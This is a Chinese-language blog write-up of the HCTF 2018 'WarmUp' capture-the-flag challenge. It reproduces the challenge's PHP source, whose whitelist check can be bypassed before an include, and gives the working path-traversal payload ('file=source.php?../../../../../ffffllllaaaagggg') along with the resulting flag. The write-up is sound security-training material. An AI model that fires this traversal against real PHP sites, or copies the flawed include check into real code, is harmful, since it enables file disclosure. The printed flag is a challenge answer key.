[HCTF 2018]WarmUp

[HCTF 2018]WarmUp

[HCTF%202018]WarmUp

观察源代码,得到提示

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

访问 /source.php,得到 php 代码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

进行代码审计,发现有一个 hint.php 页面,尝试访问,得到提示:

image

然后去凑 if 的条件,发现传入一个字符串,且包含 source.phphint.php 可以通过 check。

经过尝试,构造/index.php?file=source.php?../../../../../ffffllllaaaagggg/index.php?file=hint.php?../../../../../ffffllllaaaagggg 可以得到 flag。

flag{0cdc47e6-c963-478b-9fac-0d1add0497a2}

posted @ 2024-11-15 00:02  Maplisky  阅读(8)  评论(0编辑  收藏  举报